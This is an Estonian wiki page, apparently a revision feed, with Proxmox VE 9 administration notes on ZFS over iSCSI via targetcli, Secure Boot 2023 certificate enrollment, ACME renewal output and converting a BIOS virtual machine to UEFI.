&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4253</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4253"/>
		<updated>2026-06-20T14:23:02Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine - Ubuntu 24.04 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
